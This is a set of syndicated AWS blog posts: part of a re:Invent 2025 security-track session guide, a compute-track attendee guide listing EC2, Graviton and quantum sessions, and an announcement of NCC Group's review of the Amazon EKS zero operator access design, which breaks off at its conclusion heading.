  • Workshop SEC406 – Red teaming your generative AI and MCP applications at scale: Step into the shoes of an AI-powered red team adversary in the GenAI Red Team Challenge. In this intensive workshop, you’ll deploy an AI security agent to orchestrate sophisticated threat chains against Model Context Protocol (MCP) applications, systematically discovering vulnerabilities. Master countermeasures from prompt templating and guardrails to OAuth-enhanced MCP security configurations that prevent unauthorized access. This hands-on, gamified experience helps you think like a threat actor and equips you with practical skills in automated vulnerability testing and risk mitigation against common MITRE and OWASP vulnerabilities for LLM-based applications. You must bring your laptop to participate.

Security for Agentic AI

  • ChalkTalk SEC408 – Securing Agentic AI: OWASP, MAESTRO, and Real-World Defense Strategies: Explore the latest in Agentic AI security with OWASP’s updated Threats and Mitigations Guide and Agentic Security Initiative. We will also explore MAESTRO, a specialized threat modeling approach for AI systems, offering a layered methodology to identify and mitigate risks throughout the AI lifecycle. Through a real-world case study, we’ll demonstrate security best practices for agentic AI, including robust governance, continuous monitoring, and least-privilege access. Learn how to confidently deploy autonomous AI agents while minimizing risks. Gain practical insights for building secure, trustworthy, and resilient agentic AI applications that can transform industries safely.
  • Workshop SEC307 – Design authentication, authorization, and logging logic in Agentic AI apps: This hands-on workshop addresses the critical challenge of managing identities and permissions for generative AI agents. Learn to implement user and machine authentication, along with fine-grained authorization mechanisms, tailored for AI agents, tools, and LLMs. Explore consent management and permission delegation in AI contexts. Participants will gain practical experience using AWS’s latest services, including Strands SDK, Amazon Bedrock AgentCore Identity, Amazon Cognito for identity management, and Amazon Verified Permissions for authorization decisions. By the end, you’ll have the skills to enhance security and compliance in your AI operations using AWS’s cutting-edge identity and access management solutions.

Using AI for security

  • Builders SEC318 – Strengthen your network security with generative AI: Transform how you manage network security using the power of generative AI. See how Amazon Q Developer helps you explore AWS Shield Network Security Director findings through natural language conversations. Learn to quickly identify misconfigured resources, understand security issues, and implement guided fixes across your AWS environment.
  • Chalktalk SEC304 – Building an AI-Powered security guardian for your Cognito applications: Elevate your application security with an intelligent AI-Powered security guardian to protect your Amazon Cognito-authenticated applications. In this interactive session, we’ll explore identity best practices and building an AI agent using Amazon Bedrock AgentCore to help verify best practices, perform detective analysis, and take automated preventative actions to mitigate risks. We’ll talk through how an AI agent can perform dynamic WAF rule adjustments, modify authentication flows, and perform security operations center (SOC) actions. Bring your questions and scenarios as we deep dive into how to implement AI-driven security controls for your Cognito protected applications.

Building and Scaling Culture of Security

This theme is woven throughout the re:Invent 2025 security track, reflecting the belief that technological solutions alone cannot ensure robust security outcomes. Enterprises with a Culture of Security become security-first organizations, after which they can accelerate secure digital transformations. Some of the sessions that showcase this theme are:

  • Breakout SEC319 – Climbing the AI Mountain With Your Security Team: Navigate the intersection of AI and security culture in this practical session. Learn how security teams can effectively embrace AI innovation through incremental steps and validation techniques. Using real-world examples, we’ll demonstrate how security practitioners can adapt their skills to AI challenges regardless of their level of specialized expertise and share strategies for building security-aware AI practices. From understanding generative and agentic AI-specific security risks to creating engaging team exercises, discover how to transform security from a potential bottleneck into an enabler of responsible AI innovation. Attendees will leave with actionable insights for building a security-first approach to AI adoption.
  • Chalktalk SEC343 – Fostering a Resilient Incident Response Culture: Discover how to combine human expertise with intelligent automation in security incident response. Learn how AWS Security Incident Response, auto-triaging capabilities, and generative AI work together to augment—not replace—your team’s decision-making. We’ll explore how integrating AWS Security Incident Response and generative AI into your workflows can reduce alert fatigue, accelerate accurate incident classification, and enable responders to focus on critical analysis. See how leading organizations balance automation with human oversight, creating more efficient and resilient incident response processes while maintaining the crucial elements of human judgment and institutional knowledge. Uncover practical strategies for integrating AI-driven insights with human expertise in your incident response culture.
  • Chalktalk SEC227 – Translating Security Metrics into Business Outcomes: Today CISOs face the challenge of translating complex security data into business value. This session reveals proven frameworks for transforming security metrics into strategic insights that drive boardroom decisions. Learn how leading organizations leverage AWS Security Hub, OpenSearch and Security Analytics and automation to build real-time risk dashboards that demonstrate security’s business impact. Walk away with practical strategies for evolving your security program from operational metrics to business outcomes, enabling data-driven investment decisions and measurable risk reduction that resonates with executives.

Architecting Security and Identity at scale

This theme explores how you can use the comprehensive toolset and proven patterns provided by AWS to implement enterprise-grade security controls that scale from individual workloads to global organizations. Some key sessions on this theme include:

  • ChalkTalk SEC333 – From Static to Dynamic: Modernizing AWS Access Management: Building a robust AWS identity foundation requires moving beyond static credentials. This session deep dives into proven patterns for implementing dynamic, temporary access across your AWS organization. We’ll explore real-world challenges of access key dependencies and share practical approaches to transition towards ephemeral credentials using IAM roles and SAML federation. Through practical examples and lessons learned, discover how to implement secure authentication patterns that scale while reducing operational overhead. Walk away with actionable strategies to strengthen your identity perimeter and modernize your access management approach.
  • Workshop SEC401 – Active defense strategies using AWS Al/ML services: This workshop will help you learn how to develop and deploy active defense strategies, such as deception, using Amazon Bedrock and Amazon SageMaker. Gain hands-on experience developing AI-driven responses for security operations. You will learn how to develop adaptive responses that mimic what an actor may be trying use against you. Discover implementation patterns for prompt engineering, deployment strategies, and monitoring methodologies. You must bring your laptop to participate.
  • Workshop SEC303 – Advanced AWS Network Security: Building Scalable Production Defenses: In this hands-on workshop, master AWS network security techniques to defend against today’s most critical threats. Learn to implement layer 7 capabilities and deep packet inspection using AWS Network Firewall and Route 53 Resolver DNS Firewall, securing both internet-bound and internal traffic flows. Gain practical experience in configuring scalable, reliable filtering to combat zero-day attacks and ransomware, while also implementing sophisticated east-west traffic controls to prevent lateral movement. Through real-world scenarios, you’ll learn to leverage IDS/IPS filtering, domain-based controls, and principle of least privilege using fully managed AWS services. Leave equipped to build resilient network defenses against modern cyber threats.

Innovations in AWS Security

AWS innovation in security capabilities is designed to help organizations outpace evolving threats. From advanced threat detection powered by machine learning to revolutionary data protection mechanisms, these innovations demonstrate the AWS commitment to keeping customers secure in an evolving landscape. Some of the innovation-focused sessions are:

  • Breakout SEC203 – State of the Art: AWS data protection in 2025 (ft. Vanguard): Join AWS Cryptography leaders for a comprehensive tour of 2025’s groundbreaking security innovations. Discover the latest launches across Cloudfront, KMS, Private CA, and Secrets Manager, showcasing AWS’s implementation of NIST-standardized post quantum cryptography. Learn how we’re revolutionizing cloud security through quantum-resistant algorithms, advanced certificate management, and automated secrets handling. Get an inside look at Vanguards enterprise-wide PQC migration and how they made it a strategic business priority. See firsthand how AWS continues raising the bar on data protection for your most sensitive workloads.
  • Breakout SEC323 – AWS detection and response innovations that drive security outcomes: Discover how the latest AWS detection and response capabilities can help secure your cloud environment more effectively. Learn practical ways to achieve integrated security outcomes through enhanced threat detection, automated vulnerability management, and streamlined response—all at scale. We’ll show you how to use AWS security services to protect workloads and data, centralize security monitoring, manage security posture continuously, and unify security data, while leveraging generative AI for security operations. Walk away with actionable insights for integrating AWS detection and response services to strengthen and simplify security across your AWS environment.
  • Breakout SEC310 – Innovations in Infrastructure Protection to strengthen your network: In this session, learn about new capabilities in infrastructure protection services like AWS Network Firewall, Amazon Route 53 DNS Firewall, AWS WAF, and AWS Shield, to simplify your application protection, streamline robust egress protections and gain insight into your network. Dive deep into how new visibility investments can give insight into misconfigurations, possible threats, and proactive identification of network configuration issues.

Conclusion

Don’t miss this opportunity to enhance your cloud security knowledge and connect with AWS security experts and industry peers. For a full view of the Security and Identity sessions, explore the AWS re:invent catalog where you can filter sessions by topic, areas of interest, role, and so on.

When you register, you’ll gain access to the session reservation system where you can reserve your seats. Popular security sessions, especially hands-on sessions, fill up quickly because of limited capacity, so we recommend reserving your preferred sessions as soon as scheduling opens. See you are re:Invent!

If you have feedback about this post, submit comments in the Comments section below.

Rahul Sahni

Rahul Sahni

Rahul is a Senior Product Marketing Manager at AWS Security. An avid Amazonian, Rahul embodies the company’s principle of Learn and Be Curious in both his professional and personal life. With a passion for continuous learning, he thrives on new experiences and adventures. Outside of his professional work, he enjoys experimenting with new dishes from around the world.

Justin Criswell

Justin Criswell

Justin is a Senior Manager of Security Solutions Architecture at AWS. He brings 21 years of technology expertise, including 13 years specializing in cloud security and customer success. He leads a team of specialists and the AWS security field community to help customers adopt and operationalize security services, increase visibility, reduce risk, and enhance their security posture in the AWS Cloud.

The attendee’s guide to the AWS re:Invent 2025 Compute track

Post Syndicated from Mai Kulkarni original https://aws.amazon.com/blogs/compute/the-attendees-guide-to-the-aws-reinvent-2025-compute-track/

From December 1st to December 5th, Amazon Web Services (AWS) will hold its annual premier learning event: re:Invent. At this event, attendees can become stronger and more proficient in any area of AWS technology through a variety of experiences: large keynotes given by AWS leaders, smaller innovation talks, interactive working sessions given by AWS experts, and fun activities such as live music and games at re:Play.

There are over 2000+ learning sessions that focus on specific topics at various skill levels, and the compute team have created 76 unique sessions for you to choose. There are many sessions you can choose from, and we are here to help you choose the sessions that best fit your needs. Even if you cannot join in person, you can catch-up with many of the sessions on-demand and even watch the keynote and innovation sessions live.

The basics: Session types

If you can join us, then remember that we offer several types of sessions that can help maximize your learning in a variety of AWS topics.

re:Invent attendees can also choose to attend chalk-talks, builder sessions, workshops, or code talk sessions. Each of these are live non-recorded interactive sessions.

  • Breakout sessions: Attendees are in a lecture-style 60-minute informative sessions presented by AWS experts, customers, or partners. These sessions are recorded and uploaded a few days after to the AWS Events YouTube channel.
  • Chalk-talk sessions: Attendees interact with presenters, asking questions, and using a whiteboard in session.
  • Builder Sessions: Attendees participate in a one-hour session and build something.
  • Workshops sessions: Attendees join a two-hour interactive session where they work in a small team to solve a real problem using AWS services.
  • Code talk sessions: Attendees participate in engaging code-focused sessions where an expert leads a live coding session.
  • Lightning talk sessions: Attendees watch a 20-minute demo dedicated to either a specific service or customer story (located in the Venetian Expo Hall or Mandalay Bay Level 2 South).

Getting started with Amazon EC2

The foundation of compute in AWS is Amazon Elastic Compute Cloud (Amazon EC2). Amazon EC2 offers the broadest and deepest compute platform, with over 1000 instances and choice of the latest processor, storage, networking, operating system, and purchase model to help you best match the needs of your workload. We’ve created the following sessions to help you implement and manage your workloads on EC2.

CMP356 | How well do you know EC2

EC2 offers 1000+ instance types with diverse processors, accelerators, and the AWS Nitro System. Options include cost-effective Spot Instances and Savings Plans. Learn how to optimize workload-instance matching for better performance and savings.

CMP343 | Select and launch the right instance for your workload and budget

Explore the newest EC2 instances featuring Intel Xeon Scalable (Granite Rapids), AMD EPYC (Turin), and AWS Graviton processors. Learn how to choose the optimal instance type for your workload and budget requirements.

CMP305 | Assembling the Complete AI Stack: Optimizing your AI hardware on AWS

Learn how to optimize your AI infrastructure on AWS: Choose the right processors, accelerators, storage, and pricing models for your workloads. Get practical guidance on GPU selection, vector databases, and building cost-effective, scalable AI platforms.

CMP332 | Mastering EC2 Image Builder: From basics to advanced techniques

Hands-on session: Build an automated image pipeline with AWS experts. Learn the basics and advanced features such as multi-account distribution and continuous integration/continuous development (CI/CD) integration in 60 minutes.

CMP331 | Managing Amazon EC2 capacity and availability

Learn how to optimize EC2 costs and capacity using different reservation models, such as On-Demand, Capacity Blocks for machine learning (ML), and capacity reservations, to improve efficiency and availability.

CMP330 | Use Auto Scaling to proactively scale and optimize EC2 workloads

Learn how to harness the latest features of EC2 Auto Scaling to optimize your cloud resources. This hands-on workshop covers predictive scaling, dynamic scaling, and warm pools to automatically manage capacity based on demand. This is perfect for those wanting to improve application availability while reducing costs. Bring your laptop for practical exercises.

Learn about AWS Compute innovations

AWS has invested years into designing custom silicon optimized for the cloud to deliver the best price performance for a wide range of applications and workloads using AWS services. Learn more about the AWS Nitro System, processors at AWS, and ML chips.

CMP316 | Deep Dive into the AWS Nitro System

Explore the architecture behind the groundbreaking AWS Nitro System: the custom hardware and security components driving modern EC2 instances. Learn how this innovative platform enables unprecedented compute, storage, and networking capabilities, and discover the latest advances making new cloud possibilities reality.

CMP307 | AWS Graviton: The best price performance for your AWS workloads

Explore how AWS Graviton processors deliver superior performance and energy efficiency in EC2. Learn optimization best practices, common use cases, and customer success stories to accelerate your AWS Graviton adoption journey.

CMP336 | Optimize network and Amazon EBS intensive workloads on Amazon EC2 instances

Discover how to maximize the EC2 network and Amazon Elastic Block Store (Amazon EBS)-optimized instances for high-performance workloads. Learn to use new AWS Graviton and Intel instances for security appliances, databases, and network-intensive applications. Get practical insights into the latest networking and storage technologies to optimize your EC2 workload performance.

CMP315 | Maximizing EC2 Local NVMe Storage: Enhanced NVMe Metrics and Kubernetes Integration

Learn to optimize data-intensive workloads using AWS Nitro SSDs. Explore new performance metrics (latency, IOPS, throughput) and best practices for monitoring and tuning application performance.

CMP407 | Innovating with AWS confidential computing: An integrated approach

Learn how AWS confidential computing (Nitro System, Enclaves, TPM) protects sensitive data during processing. Explore solutions for secure data handling across CPU, GPU, and AI workloads.

CMP302 | Accelerating engineering: Cross-industry HPC cloud transformations

Discover how AWS high performance computing (HPC) transformed engineering and product development across industries. Learn how customers used cloud HPC to revolutionize their design processes to reduce time-to-market and increase innovation efficiency. Observe how HPC instances, Elastic Fabric Adapter (EFA), Amazon FSx for Lustre, and AWS ParallelCluster accelerate global R&D innovation.

Optimize your compute costs

At AWS, we focus on delivering the best possible cost structure for our customers. Frugality is one of our founding leadership principles. Cost effective design continues to shape everything we do, from how we develop products to how we run our operations. Come learn new ways to optimize your compute costs through AWS services, tools, and optimization strategies in the following sessions:

CMP347 | The Frugal Architect in a chaotic world

Discover the practical implementation of Werner Vogels’ Frugal Architect principles through a hands-on exploration of AWS Graviton, EC2 Spot, Karpenter, and AI tools. Watch as we optimize a shopping cart using AI and flame graphs, demonstrating how to build efficient systems without compromising quality. Learn to combine Karpenter’s intelligent scaling, the performance benefits of AWS Graviton, and AI-driven analysis to create systems that are faster, leaner, and more cost-effective by design.

CMP349 | 5-Star customer service: Duolingo’s path to compute savings

Learn how Duolingo partnered with their AWS Technical Account Manager to transform their cloud spending. Discover their successful transition to AWS Graviton processors, from initial cost analysis through enterprise-wide implementation. Observe how the AWS customer-focused approach delivered significant savings and business value for Duolingo.

CMP337 | Optimizing EC2: Hands-on strategies for cost-effective performance

Get hands-on with advanced EC2 instance optimization in this technical workshop. Learn to analyze workloads, measure performance metrics, and master benchmarking tools through guided exercises. Walk away with practical strategies to choose and tune EC2 instances for your specific application needs. Perfect for architects and developers looking to maximize their AWS infrastructure performance.

CMP314 | Data-driven EC2 optimization: Efficiency, metrics, and sustainability

Join this chalk talk to discover how metric-driven decisions can transform your EC2 fleet optimization. Through real-world scenarios, learn to analyze workload data, choose optimal instance types, and fine-tune capacity for your specific needs. We explore practical approaches to balance cost, performance, and sustainability using AWS-native tools, providing you with actionable strategies that you can implement immediately.

CMP412 | EC2 Flex instances: Get the latest generation performance at lower costs

Explore how EC2 Flex instances deliver the latest generation performance at reduced costs. Learn about optimal workload types, architectural design, and implementation strategies. Discover practical approaches to adoption and performance monitoring to maximize your EC2 Flex instance benefits.

Maximize your workload’s performance

Your workload’s performance matters beyond just cost because it directly impacts the quality, efficiency, and effectiveness of your compute solution. It can significantly influence customer satisfaction, business growth, and overall productivity. Even if a cheaper option exists, a low-cost option with poor performance can lead to long-term financial losses due to issues such as lost customers, engineering rework, and negative reputation. We have several sessions that help you optimize your workload’s performance.

CMP333 | Maximizing EC2 performance: A hands-on guide to instance optimization

Live coding session: Learn to optimize EC2 performance using Amazon CloudWatch and APerf. Observe real-world examples of workload analysis and code optimization across different instance types and programming languages.

CMP351 | Building for efficiency and reliability with performance testing on AWS

Learn performance testing strategies on AWS to optimize costs, identify bottlenecks, and improve reliability. Discover how to measure system behavior under various loads to inform architecture and instance selection decisions.

CMP405 | Everything you’ve wanted to know about performance on EC2 instances

Explore compute optimization techniques in this code talk. Learn about memory topology, hardware counters, hyperthreading effects, and methods for accurate performance testing and latency optimization.

Customer experience and applications with AI and ML

ML has been evolving for decades and has an inflection point with generative AI applications capturing widespread attention and imagination. Learn about generative AI infrastructure at Amazon or get hands-on experience building ML applications through our ML focused sessions, such as the following:

CMP201 | Architecting solution patterns for GPU-accelerated HPC and AI/ML

Interactive discussion on GPU-accelerated HPC and AI/ML architecture. Explore EC2 GPU instance families, architectural tradeoffs , and cost optimization strategies. Share your challenges and learn how to build scalable GPU solutions on AWS.

CMP403 | Build, scale, and optimize agentic AI on CPUs with AWS Graviton

Hands-on workshop: Build cost-efficient AI applications on AWS Graviton. Deploy large language model (LLM) inference, multi-agent systems, and vector databases using Amazon Elastic Kubernetes Service (Amazon EKS) and Karpenter. Create a chat app showcasing the performance benefits of AWS Graviton.

CMP346 | Supercharge ML and inference on Apple Silicon with EC2 Mac

Learn to optimize ML workloads on EC2 Mac instances with Apple silicon. Explore Apple Neural Engine, Core ML, and efficient PyTorch/TensorFlow deployment for iOS and cloud ML applications.

CMP338 | Protect privacy in generative AI applications using AWS Confidential Computing

Build three secure generative AI applications while learning to protect sensitive data in prompts, augmented sources, and model weights. Practice implementing AWS Confidential Computing features in EC2 to mitigate common security threats. Get hands-on experience using both open source models and Amazon Bedrock to create privacy-first AI solutions.

CMP410 | Secure generative AI using trusted execution environments

Hands-on session: Build a secure AI environment using Nitro TPM-enabled EC2 instances. Deploy an LLM with cryptographic attestation and learn to protect sensitive data using trusted execution environments.

Accelerate your AWS Graviton adoption journey

The AWS Graviton Processors are custom designed server processors designed by AWS. They deliver the best price performance for your cloud workloads running in AWS and help you reduce your carbon footprint. Ready to realize up to 40% better price performance for your workloads? We have curated the following session to help you accelerate your AWS Graviton adoption:

CMP329 | Learnings from developers adopting AWS Graviton at scale

Learn how the custom-designed AWS Graviton processors deliver optimal price-performance across diverse workloads: from microservices to HPC. Engage with AWS experts to explore adoption strategies, best practices, and real customer success stories for scaling AWS Graviton in production.

CMP352 | Unlock cost efficiency with AWS Graviton Savings Dashboard

Discover how the enhanced AWS Graviton Savings Dashboard provides deeper analytics for workload modernization, enabling up to 40% better price performance. Learn to use advanced features for granular workload analysis and streamlined migration planning. This lightning talk shows you how to transform efficiency insights into actionable strategies for measurable cloud cost savings.

CMP326 | Java modernization and performance optimization GameDay

Hands-on workshop: Use Amazon Q Developer to modernize Java applications from v8 to v21. Practice automated code analysis, performance benchmarking, and cost optimization across different instances. Laptop needed.

CMP335 | Optimize .NET TCO with agentic AI powered AWS Transform and AWS Graviton

Hands-on workshop: Use agentic AI to accelerate the migration of Windows-based .NET applications to .NET Core running on Linux with AWS Graviton for 40% better price performance. Learn code analysis, automated transformations, and CI/CD updates. For .NET developers/architects. Laptop needed.

Optimizing your container-based workloads

Maximizing the efficiency of container-based workloads is crucial for modern cloud applications. Whether you’re running microservices, web applications, or high-performance computing tasks, optimizing your container infrastructure can significantly impact both performance and cost. In this track, we’ve assembled essential sessions focused on using AWS Graviton processors and modernization tools to enhance your containerized applications. From real-world adoption stories to hands-on workshops, these sessions can help you achieve better price performance while maintaining operational excellence. Join us to explore the following:

CMP310 | Boost Amazon EKS efficiency: Amazon EKS Auto Mode, AWS Graviton, and EC2 Spot

Explore how Amazon EKS Auto Mode streamlines Kubernetes operations by removing infrastructure management complexity. Learn to optimize costs using AWS Graviton and EC2 Spot, with practical examples for building more efficient, cost-effective container environments.

CMP311 | Build once, run everywhere: Multi-architecture in your CI/CD pipelines

Learn to build multi-architecture containers for x86 and AWS Graviton processors. Observe how to optimize web applications for both platforms and integrate with CI/CD systems such as ArgoCD, GitLab, and GitHub.

CMP348 | Using Amazon Q to cost optimize your containerized workloads

Learn to achieve 40% better price-performance by migrating containerized workloads to AWS Graviton using Amazon EKS and Karpenter. Use Amazon Q to accelerate x86-to-Graviton migration, implement multi-architecture CI/CD pipelines, and optimize deployment strategies.

Quantum computing

Quantum computing is moving from theoretical possibility to practical reality, offering groundbreaking potential across industries. As organizations prepare for this technology, AWS provides the tools and infrastructure needed to explore quantum applications today. Through Amazon Braket, our managed quantum computing service, we’re making quantum experimentation accessible to enterprises, researchers, and developers alike. Whether you’re interested in drug discovery, optimization problems, or cybersecurity, this track offers a comprehensive journey from quantum basics to advanced hybrid solutions. Join industry leaders, such as AstraZeneca and Accenture, to discover how quantum computing is already delivering value and how you can begin your quantum journey:

CMP202 | Amazon Braket: Get hands-on with quantum computing

Get started with quantum computing in this practical workshop. Learn to implement quantum algorithms and run circuits on gate-based devices using Amazon Braket. Explore the quantum algorithm library of AWS through hands-on exercises. Bring your laptop to begin your quantum journey.

CMP209 | Amazon Braket hubs: Accelerating R&D in national quantum initiatives

Learn how AWS supports quantum computing research hubs worldwide, helping create secure environments and providing access to cutting-edge quantum technologies for researchers and startups.

CMP411 | Quantum computing with Amazon Braket: From exploration to enterprise

Explore quantum computing with Amazon Braket, featuring the AWS strategy and AstraZeneca’s drug discovery research. Learn how to combine quantum and classical workloads and prepare for future quantum technologies.

CMP205 | Q-CTRL Fire Opal on Amazon Braket: Quantum solutions from security to finance

Learn how organizations use Q-CTRL and Amazon Braket for quantum computing breakthroughs. Observe how Accenture Federal Services achieved 3x better network security detection using Q-CTRL’s optimizer, and explore quantum-classical solutions for various industries.

CMP304 | Architectures for hybrid quantum-classical workflows at scale

Learn to build hybrid quantum-classical computing solutions using Amazon Braket with AWS services (AWS Batch, AWS ParallelCluster) and GPU-accelerated instances. Explore architectures integrating CPUs, GPUs, and quantum processors using NVIDIA CUDA-Q.

Check out workload-specific sessions

EC2 offers the broadest and deepest compute platform to help you best match the needs of your workload. Join sessions focused on your specific workload to learn about how you can use AWS solutions to accelerate your innovations.

CMP207 | Startup to scale: Powering business growth with Amazon Lightsail

Get started in the cloud with just a few clicks with Amazon Lightsail. Discover how it can support your business at any stage of growth. Whether you’re launching your first cloud workload, migrating existing applications, or managing services for your customers, learn proven approaches for success. We explore how customers are using Lightsail today, including cost optimization and best practices for efficient scaling.

CMP320 | Full stack web apps on EC2: Using AWS Elastic Beanstalk with Amazon Q

Accelerate your cloud journey with AWS Elastic Beanstalk and Amazon Q. Learn how Elastic Beanstalk streamlines deployment and maintenance of full stack web applications on EC2 with automated infrastructure provisioning, while Amazon Q enhances your Elastic Beanstalk experience with natural language commands, intelligent troubleshooting guidance, and deployment best practices recommendations. This is perfect for teams ready to focus on building exceptional applications instead of managing infrastructure.

CMP334 | Modernize Apple platform development with AWS and EC2 Mac

Explore how EC2 Mac instances enable scalable, cost-effective macOS workloads on AWS. Learn about the latest features and hear a customer success story showcasing optimized Apple development workflows in the cloud.

CMP341 | SAP workloads on memory optimized Amazon EC2 instances

Discover how the memory-optimized instances (R, X, U) of EC2 revolutionize SAP HANA deployments, eliminating traditional infrastructure compromises. Learn from SAP’s experience managing RISE with SAP on AWS, and explore how high-memory instances can transform your SAP operations.

CMP319 | Exploring the spectrum of architecture patterns for 3D rendering

Explore the complete rendering toolkit of AWS for 3D and spatial applications: from GPU-powered EC2 instances to distributed rendering with Deadline Cloud and real-time GameLift Streams. Learn practical architecture patterns and cost optimization strategies to scale your rendering pipeline for games, architectural visualization, and AR/VR experiences.

CMP321 | Generative AI storyboarding: From Sketch to 3D Scene with generative AI on AWS

Learn to create visual content using Amazon Bedrock: convert sketches to storyboards, generate 2D/3D assets, and compose scenes. Explore AI-assisted workflows for film, games, and UI design while maintaining artistic control.

CMP211 | Hybrid science: AI + physics simulations for climate and life sciences

Explore how to combine AI with physics simulations using AWS services (such as AWS Batch, AWS ParallelCluster, Amazon FSx, EFA). Learn real-world patterns for integrating AI and simulation workflows in climate, weather, and healthcare applications.

CMP345 | Accelerate drug discovery R&D at scale with AWS

Interactive session on how top pharma companies use AWS for drug discovery R&D. Explore solutions for imaging, molecular simulation, and AI-driven research, with focus on managing large-scale data and diverse compute needs.

CMP350 | Accelerating vehicle innovation: ML and HPC best practices

Learn how Toyota and Deloitte transformed automotive engineering by migrating HPC and ML workloads to AWS. Using NVIDIA GPUs and EC2 HPC instances, they dramatically reduced development cycles. You can gain practical insights for your own high-performance computing initiatives.

CMP401 | Accelerating semiconductor design, simulation, and verification on AWS

This session covers the latest compute and storage innovations such as the new generation of EC2 instances powered by custom Intel Xeon Scalable processors (Granite Rapids), AMD EPYC processors (Turin), and AWS Graviton, and new features of Amazon FSx for NetApp ONTAP.

CMP406 | HPC infrastructure for financial services using AWS Batch and AWS CDK

Hands-on session: Build HPC infrastructure using AWS Cloud Development Kit (AWS CDK). Deploy AWS Batch for financial risk analysis workloads. This is suitable for HPC experts new to AWS and AWS developers new to HPC.

CMP204 | Quantum computing: Accelerating pharma innovation

Explore how Merck Sharp & Dohme partners with MathWorks and AWS to revolutionize pharmaceutical development through quantum computing. Using MATLAB and Amazon Braket, they implement QAOA for optimizing drug production and enhancing cancer diagnostics.

Ready to unlock new possibilities?

The AWS Compute team looks forward to seeing you in Las Vegas. Come meet us at the Compute Booth in the Expo and check out our various EC2 demos. And if you’re looking for more session recommendations, check-out more re:Invent attendee guides curated by experts.

Amazon Elastic Kubernetes Service gets independent affirmation of its zero operator access design

Post Syndicated from Manuel Mazarredo original https://aws.amazon.com/blogs/security/amazon-elastic-kubernetes-service-gets-independent-affirmation-of-its-zero-operator-access-design/

Today, we’re excited to announce the Amazon Elastic Kubernetes Service (Amazon EKS) zero operator access posture.

Because security is our top priority at Amazon Web Services (AWS), we designed an operational architecture to meet the data privacy posture our regulated and most stringent customers want in a managed Kubernetes service, giving them continued confidence to run their most critical and data-sensitive workloads on AWS services. Our services are designed to prevent AWS personnel from having technical pathways to read, copy, extract, modify, or otherwise access customer content in the management of Amazon EKS.

At AWS, earning trust isn’t only a goal, it’s one of the core Leadership Principles that guides every decision we make. Customers choose AWS because they trust us to provide the most secure global cloud infrastructure on which to build, migrate, and run their workloads, and to store their data. To build on this trust, we launched the AWS Trust Center to make information about how we secure our customers’ assets in the AWS Cloud more accessible. Along with this launch, we’re describing how we approach operator access to demonstrate an industry leading data privacy posture, and how we fulfill our part of the AWS Shared Responsibility Model in the AWS Cloud.

Many of the AWS core systems and services are designed with zero operator access, meaning they operate based on an architecture and model that, at the minimum, prevents any form of access to customer content in the management of the service. Instead, their systems and services are administered through automation and secure APIs that protect customer content from inadvertent or even coerced disclosure. Some of these services are AWS Key Management Service (AWS KMS), Amazon Elastic Compute Cloud (Amazon EC2) (through the AWS Nitro System), AWS Lambda, Amazon EKS, and AWS Wickr.

When AWS made its Digital Sovereignty Pledge, we committed to providing greater transparency and assurance to customers about how AWS services are designed and operated, especially when it comes to handling customer content. As part of that increased transparency, we engaged NCC Group, a leading cybersecurity consulting firm based in the United Kingdom, to conduct an independent architecture review of Amazon EKS, and the security assurances we provide to our customers. NCC Group has now issued its report and affirmed our claims. The report states:

“NCC Group found no architectural gaps that would directly compromise the security claims asserted by AWS.”

Specifically, the report validates the following statements about the Amazon EKS security posture:

  • There are no technical means for AWS personnel to gain interactive access to a managed Kubernetes control plane instance.
  • There are no technical means available to AWS personnel to read, copy, extract, modify, or otherwise access customer content in a managed Kubernetes control plane instance.
  • Internal administrative APIs used by AWS personnel to manage the Kubernetes control plane instances cannot access customer content in the Kubernetes data plane.
  • Changes to internal administrative APIs used to manage the Kubernetes control plane always requires multi-party review and approval.
  • There are no technical means available to AWS personnel to access customer content in backup storage for the etcd database. No AWS personnel can access any plaintext encryption keys used for securing data in the etcd database.
  • AWS personnel can only interact with the Kubernetes cluster API endpoint using internal administrative APIs without access to customer content in the managed Kubernetes control plane or the Kubernetes data plane. All actions performed on the Kubernetes cluster API endpoint by AWS personnel are visible to customers through customer enabled audit logs.
  • Access to internal administrative APIs always requires authentication and authorization. All operational actions performed by internal administrative APIs are logged and audited.
  • A managed Kubernetes control plane instance can only run tested software that has been deployed by a trusted pipeline. No AWS personnel can deploy software to a managed Kubernetes control plane instance outside of this pipeline.

The detailed NCC Group report examines each of these claims, including the scope, methodology, and steps that NCC Group used to evaluate the claims.

How Amazon EKS is designed for zero operator access

AWS has always used a least privilege model to minimize the number of humans that have access to systems processing customer content. This means that we design our products and services to provide each Amazonian access to only the minimum set of systems required to do their assigned task or responsibility and limit that access to when it’s needed. Any ccess to systems that store or process customer data is logged, monitored for anomalies, and audited. AWS designs all of its systems to prevent access by AWS personnel to customer content for unauthorized purposes. We commit to that in our AWS Customer Agreement and AWS Service Terms. AWS operations never require us to access, copy, or move a customer’s content without that customer’s knowledge and authorization.

Our operational architecture includes the exclusive use of AWS Nitro System-based instances to provide a confidential compute baseline for the managed Kubernetes control plane.

We use a set of restricted administrative APIs to enable precise control of access so our operators can conduct precise, allow-listed actions for troubleshooting and diagnostics without requiring direct or interactive access to the Kubernetes control plane instances. These APIs have been purposefully engineered without technical means to access customer content in the Kubernetes control plane or the customer’s Kubernetes data plane.

Following our standard change management mechanisms, we enforce a built-in, multi-party review and approval process for modifications to these restricted administrative APIs, and the accompanied policies that further strengthen the guardrails of how we operate the service. This model is implemented consistently across Amazon EKS clusters, regardless of the customer’s chosen launch mode for the Kubernetes data plane.

Additionally, every interaction with these restricted administrative APIs generates logs, with mandatory authentication and authorization, following the least privilege principle. By enabling their cluster’s audit logs, customers can maintain visibility into all actions performed by AWS personnel on the cluster’s API endpoint.

By default, we envelope encrypt all Kubernetes API data before it is stored at rest in the etcd database, and further secure backup storage of the etcd database to add multi-layered protection to prevent access to customer content in cluster snapshots. Furthermore, our system is designed so that no AWS personnel can access any of the plaintext encryption keys used to secure data in the etcd database and its backups.

These operator access controls apply uniformly to the Amazon EKS control plane, regardless of how you run your worker nodes—whether self-managed, through Amazon EKS Auto Mode, or with AWS Fargate. As stated in the AWS Shared Responsibility Model, customers remain responsible for securing the configurations of the Kubernetes worker nodes, with the exception of Amazon EKS Auto Mode and Fargate launch modes. For more information about the security of these AWS managed data plane launch modes in Amazon EKS, see the relevant links in the Learn more section.

Conclusion

